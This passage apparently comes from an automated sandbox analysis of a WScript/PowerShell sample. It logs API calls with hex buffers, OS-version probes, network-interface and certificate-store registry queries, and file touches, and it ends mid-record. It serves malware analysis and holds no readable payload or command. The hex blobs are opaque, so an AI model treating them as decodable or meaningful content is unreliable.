5d7597df88088ac9e5b219cba2a806eb8095e95bea08bffdaa5fdffcaffedc7ef52fefc3308ccb4881a70ee64d49277b64cf9ff6a041067337fa3aaf6cc01c341fb3807ab1aab34235e99acf3bf5076c638ac52e5f8a80ae9011ec15e3788bb4dc9e8a076a55b3170d55f1fa64ae8c48a186928d5c56e32b3fd612d73967c718621542999b2d0c52a375992b0ecbc410f3955e992e2f6971d9f9ac099c30c8bf42920d5847e9f62c5a5e7caedf42232305e664259e88b65eb44641b948caf31bb50ad94b4c80b5292c768225aa50299b010b9225546614277e3f66577ec26291e4c8c70e1ec0c9fb61f5b4902e2c4c62438239e992a31b137f64d8c1a73975068e4ca319971326b920b8ded601440032601145ca159dac383da58761dbb62410df7e31a963a857a0ea550cf4d7535e84525974b328e67cc6b3c009e2ca70ddc39a9c3a713ed96117c0784f3d9c4b429cdf0c72cc20dc98e5ed0567ba7f674a4c4c63caad9f655fedf5de28dc52a3be3a8e15f7955956bab51ea400c454be3ed26fd77b44942bf768accf7b60c10d1018e457cfc26bb16163a834faff2af173ef38d729b2e2c2368df0ce5a4fbe25e2e54968575f8d2699602e5a83f550874c44"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "631d4e81ce98f1b6a724433de4d5d66263c05fdd8d3c94a091a98c5e58d29a4a193ada71202a90e5e81d4dd9e083dc2e536d1f54d5ca0e65f2f25e45639fb77ec8925c09686e33d194c25939f6ee9cbd0284e77beccc7441a314d4ebfb536e2a1794e98e7e1e8a8e1460b69c0a49d1b8a89e66e47623e438d872c0f2285aefecef42a68bf835eade0e2d71a4279fb909ad07b5a708bb2397c394ea3cd95b05c04e73ce49d6c8c3e479f05821dd6b642d12e8f808a81a53c72396cbc1d42c8d0bb6c79034e20788f3a3b0b216af2d6a1147eb4491afe512a222de4c70227c7d345238e36586a492ce44a6e1e13ab33595643e38c1f6b4f7c1354d5b575f44e92a1f72824a9c0baa6f19f49311d88841b8ddbc9c9e011827047d71878be4871e0f83cf76c1420f76952c474c49042d54083bbc4c43dd82a4d7f2500934a56c8dd12bdd4d4dba2a49dbed29271aaa835dffe79ebdb6c202834cf339e08b730bec5c53da793d8d3f938c35fc98dbf399e8d60c15dd527a689cc18f901dac56953d9359fcb1b077899a0c8da4e8815fc3ef3d066a6f1c683629dd78e3d6a66e032a67ea4c723ff7e5ba7a5122953e4b4ccb31b8b8fd784f793878f14cbcc05ef3c50cb3c3e38ef5be322ce087217f7d7c1187d84bec3c36a05df9a957c5f2c1c2d11e1c27c163dbdc4dafdd6ec162bf29cbe55e935e5b035a875a4bc6320bdb28d606280e1fd34d0d986a8612882dc76797ae54789b572c6007f2e4f436cc4d7db3ff3f616fb36b59b65ce745cc5d9545ea92946103ba84e00ec99e9b7e02f7fc0a7e6d37050b8201370c080664d0a259953f2b9c67af1911df88b9cef5957059b72a2bf39c7dd69a337ec6f8860109efe7f99217476641575806a13a472edb534940cda5e5b95ae3fde125e62e3bec016706def4e9cff4dac8bcd60a9d1c764e6a7e3b57c443a86fd15b2bb0149c848f63f992da9eafce88f36a27bcbb3a9d59284247fbf3b7fef537ffefff07fbf67bfcf1aff79c47e7a2f7666a75306c0e8bc76b024e4d73b1853cb527f1abd32fe76b87e3bd252b65db5e83406c08aff4433828d4ff80ac21f1465224d804933bb77454cd4ec1062e55ec8f8e3393d5997b2fcbf628f84af6560c3149974fe17608f0318d1ca7f75ee2eb45207aeefc63782a0f555557718d6ed4143620cf6b780d9ef1fe52bc89339acc5c1905d4ea509f1320c30203969e58da1ae948894359a145b18f99984dd9788f6d4758529e78956758d6f4727c215170356edceac35389a324df9278428de8dc68b07357891dbf0e93ef54c037a2d48f21537f2216902452cff690b88cc78f2fa2cb485cbcbea8c1028163084773083b9738c4a431342a678e5fc08b157a766c54f7213ce902f96d36445594e2bffdfae5f5a73fffe31f5fbfc9665a1a6ca70263f3509720af038a13"}28:T531,"WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "6af742273ca50f193a7d4317745133d8291eed4e1be263f5b40a50e830cfbca4"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "894298ae5e92c0ecba2f300396c1716c320c82a96b02992933aadd2d6ea73e03c33bdd8f135aaffe54b8941a2f0c6303591db9cb4b7a5d94b22e8b851f42175deed2597bbc15935219d5bbeab5bd7ce45ff140f6573ce960d5040a99b7b6ad332aab2b6585657225ea6d1d4d8ce3a63e7f6fc1b6c3a02695a985798395a724024cd555b1f44ea3a455090c848945b708fb82f7a381a047b5d7f56856e274546118031d9c8c9c7becf1f9867b91e663dfda02c457f59110cb0d7cabbcff8ed14970fa75d20eada7921cf33bbecc242a6f"} "powershell.exe" called "BCryptEncrypt" with parameters {"$datain": "8a4cb65f5f0e236584999afa96c3b8da476a6ab50f028d28e3d6c25902deac7b"} "powershell.exe" called "BCryptEncrypt" with parameters {"$datain": "709abc35364084029c8c095961eccaaa31272db7d9ce8baf43ce7fbe826fa99134441e48c0f115da78c9958304eb42e362730d0e7bb23beca182e7cd1aadd1cb1bb9e4f288a70bae156fbed64f398cae81c991497f9debb58177c7e21b2511791ad1a29a7e56ae99056020d4387ddd07cb647cf3bde7422ad854a2ebb9ed0ae362fd942a7bb7d90dfd2415c2ca193f42"} "powershell.exe" called "BCryptEncrypt" with parameters {"$datain": "1e0c26fafcefec1af8ad6fc168ba1b3b7b6d85f93692caeb528d07353ba4a32b"} "powershell.exe" called "BCryptEncrypt" with parameters {"$datain": "]iI"}29:T2c65,"WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002e000000000000002a0000000000786f2e0000000000c82900e100000000a8712e00c4002a00108d2d00003b000000002a0000000000786f2e00f0f0250004643a7738012a00e0633a7776fa68770000000000002a00806f2e0000000000000000000000040000000000d4f02500d77d3a77ccf02500010000004c5b577500002a0050012a000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002c00a4d9250095e13677d6067700feffffff833e3b7774123c77000000000000026d00000000060000000000000000000000a4d6250000000000ff2b3a7796dd6877b460046dac012a0000002a00d4d825001a123c770800d4004c0300000000000050a32c0002033c77000200000900cf004c03000018d92500a4013c7718702a00626f3a7720000000eedd687700000000a84c2c00086d2a00286e2a00087c2f00d0712a00000000008cd62500ff2b3a770cd8250095e1367796167700feffffffff2b3a779a2a3a77b460046db460046d00000000ecd72500887053007cd72500 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000014e62500000000000500000000000e6d40e625000200004044e8250044e825001a123c77000000002ce6250000000000d0a12c0002033c770002000088013c770000000088e82500a4013c7700000000626f3a7764f83a775eec687754110e6d38e7250000000000000035773ff0000054110e6d0000000000000000001e2a007ce62500b69f3a7700000000000052746c496e697469616c697a65437269746963616c53656374696f6e000000000e6d0000000000000000000000004eec687730e625000000000090ea25005eec687748e625000200000060e72500ff2b3a77 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000bb00ae020000e26f5309f0e4250000800700e4e625000e00b600ae020000feffffff435c3a7718702a00f8030000200000000ade3b0000000000a84c2c00086d2a00286e2a00407b2f00d0712a000000000084e525000000000098e7250095e1367796167700feffffffff2b3a779a2a3a7730200f6d941100000000000048003a003c000200010000003c00000001000000000000000000000028de3b000000000000000000f0093a0011000000000000003c000000d88f5300f4e62500cc413b77e86f530088000000fe030000020000000000000030200f6d407b2f0030200f6d (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000b00300b3c4002a0001000000380000000a00000008000000680232006802320063023200000000003800000000002a004d3c2b0100d525000200000084d7250095e13677ae187700feffffff435c3a7750593a770010000008100000620232006002320001000000ee293a77010000000000d77401000000d0be31000200000000000000cc5239772496377738d62500020000002cd62500c89f3a7778de2371000000000000000060d6250023a9137131a91371b35447c8010000000000000003000000000000000810000084d7250080d625007da8147100002a0008000000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ffff833e3b7774123c77000000000000f86c00000000060000000000000000000000ff2b3a7746c76877d0f0f66cac012a0000002a00ac012a0000002a0029002e011a0200002a0029011a0200000000000050ac2c002a0029011a0200002b0024011a02000018702a00a4013c7720000000000000000000000008483900086d2a00286e2a00b0773900d0712a00887739003ccd250000002a00bcce250095e1367796167700feffffffff2b3a779a2a3a77d0f0f66cd0f0f66c0000000070f0f66c00000000a4ce2500a07a530034ce250080f46a75000053000000000089f46a75 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000033011a0200000000000000000000000000000000000029002e011a020000000000000000000018702a000000000020000000000000000000000008483900086d2a00286e2a00d8773900d0712a0000000000cccc250000000000e0ce250095e1367796167700feffffffff2b3a779a2a3a77585af96ca00f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000585af96cd8773900585af96c (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000df6b10e2c60266ffcc0499ffff04ccffff0400e2c6020000df6b0000000001000000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000001011ea180d2c8b8e8c6022a9dc376000000002483d87604000000000000000000000034fac60200000000e79cc37602000780cce2c602000000003e0000001ce3c602feffffffa4e2c602cf003b77d6003b7722e88b753e0000001f0000001ce3c6026f006e0078e2c6026e007400e0e2c602 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600fa9350ca1cdbc6026d82ae752c8e940204010000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000330032005c0057005300630072006900700074002e006500780065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2b3a774ecf8b75d8eb6775ac012a0000002a00000000000000000024004701c082ae310000000000000000000000000000000025004201c082ae31000000000000000018702a0000000000200000000000000000000000 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002a00c89f96020000000033000033340000c0f0a1960210a59602e03596029801000000002a0000008000c89f96028cebc60204643a7738012a00e0633a770ae18b750000000000002a00d09f96026dd1db75b65320c46cae0d7700000000000000002405000010a5960250012a000100000000002a0050012a000c000000d09f960250012a0002000002180000005b230078770000000000000000000000030000002cebc602800000007f070000000000005b23007877000000c075e37510a5960200000000c075e37548ebc602f8302a0000000000e82f2a00a0ebc602ff2b3a77 (UID: 00000000-00002496) "WScript.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002496) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000f00000000009ec20f000500000081d0fd7554c20f0058c20f0000000000483431009c503977e26b5375740100007401000024c20f00b0eadb757401000044c20f0000c70f005ecbfb757401000000000000005df9755cc90f000e5df975f4c40f00dcaafd75010000000000000072000000ffffffffffffffff7cc20f007802000000000000250000007cc20f007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360064e4c3cdd4c20f006d82ae75dcbe2a0004010000 (UID: 00000000-00002316) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ffff0900650041000000620bfb7500000000609726000000000050000000cc2a2d0002000000c86e2a000000000001000008d8a22f00889b2600380bfb7508c10f0002000000e01b000000002600c8be2a00f83b0000ff0700000000260070f931007f07000070f931003057260030280000e8c10f0067e5377700002600c8be2a000000000000002600000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600d8e4c3cd28c20f006d82ae75dcbe2a0004010000 (UID: 00000000-00002316) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ae750100000000800000000000000000000088ba0f002333ae75bcba0f000080000000800000bcba0f003733ae7500000000c2ba0f00589cc3cda4ba0f006732ae759cbf0f007919eecdc8bc0f00135ff975bcba0f00aebf0f000000000004c40f00c83d3000d0c10f00205ff97543003a005c0055007300650072007300000048004100500055004200570053007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600f09dc3cd40bb0f006d82ae757cc02a0004010000 (UID: 00000000-00002316)2a:T164e,"WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000070f1250078f125003a175475000000000000000024f225000200000000000000000000000c0000000200000001012500c2ebdb75ec5b39774da053751a910000fc5739770a9f537530010000ffffffffc0f125000000000000000000a4f12500bcf12500010000000000000002000000 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000283f026d08000000fa3e026d4afc72c8020000006842026d000026002f18026d9070530088705300d8d725006842026d98d82500ce85036d461b55a5fefffffffa3e026d783e026d2f18026d2cd825001e3e026d2f18026d67c16a754460046d48d825004642026d4460046d00000000 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000095e136776e027700fefffffff5f63a77634d3b77509e2c0010150f6d88080f00b2f43a7742ed68771ce8250000000e6d00000e6d804d3b7766ed6877f0000000f0000e6d0000000088e725005c0043001ce925000000000001000000ece7250040f53a770000000000000000d8e72500 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100008c8a2f000100010040e62f7648e7250048e7250024593b770000000068e82f7630762d00000000001000000070e72500575a3b7700000000030000000200000000000000880000000100000088e72500459d6a750000530000000000800000000200000000002600dc1a0e6d9ce72500 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01af56c08000000c41af56ca53ec2ca02000000d41cf56c00002600e616f56cb07a5300a07a530090ce2500d0f0f66c50cf250053aff66ca9ea12a6feffffffc41af56c421af56ce616f56ce4ce2500d91bf56ce616f56c67c16a75ae055775745757750000000000000000cc925375 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01af56c08000000c41af56ca53ec2ca02000000d41cf56c0000260002000000000000008800000090ce2500d0ce2500459d6a7500005300000000008000000002000000000026009813f86ce4ce2500 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002496) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb677580e791020060fd7f9a5c3b770030fd7f88c6c6024460fd7f00000000400000003f0000002f0000000060fd7f7cc6c602c15c3b77608242772f0000000060fd7f9a5c3b770030fd7fa0c6c60257893a778083427713175475d8eb6775 (UID: 00000000-00002496) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb6775e0392d000090fd7f9a5c3b7700f0fd7f90b70f004490fd7f00000000400000003f0000001e0000000090fd7f84b70f00c15c3b77608242771e0000000090fd7f9a5c3b7700f0fd7fa8b70f0057893a778083427713175475d8eb6775 (UID: 00000000-00002316) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e00690066006500730074000000 (UID: 00000000-00002316) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000636d036d00005901000000006c6d036d96d6e7cfd8d7f26834e70f0030e70f0000000000000000000000000000000000d8d7f26888e60f0000000000f8e60f0034e70f00c8e60f00ff23036dc83b0c6d08e70f003117036d080000001c5c397714a13a77ffffffff24000000f0e60f00 (UID: 00000000-00002316) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002316) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb677530ce1c000060fd7f9a5c3b7700f0fd7f88bd0e004460fd7f00000000400000003f0000001e0000000060fd7f7cbd0e00c15c3b77608242771e0000000060fd7f9a5c3b7700f0fd7fa0bd0e0057893a778083427713175475d8eb6775 (UID: 00000000-00004012) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e00690066006500730074000000 (UID: 00000000-00004012) "powershell.exe" called "GetVersionExA" (UID: 00000000-00004012) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004012)2b:T983,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")2c:T59d,"powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0A9651DLQGT4I9ZN4R3.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0A9651DLQGT4I9ZN4R3.temp" "powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfb03c.TMP" "powershell.exe" trying to touch file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HMJ91T85MNXB5SRG2NLH.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HMJ91T85MNXB5SRG2NLH.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfcfe9.TMP"2d:T9b8,"WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")2e:T580,"WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "WScript.exe" (Path: 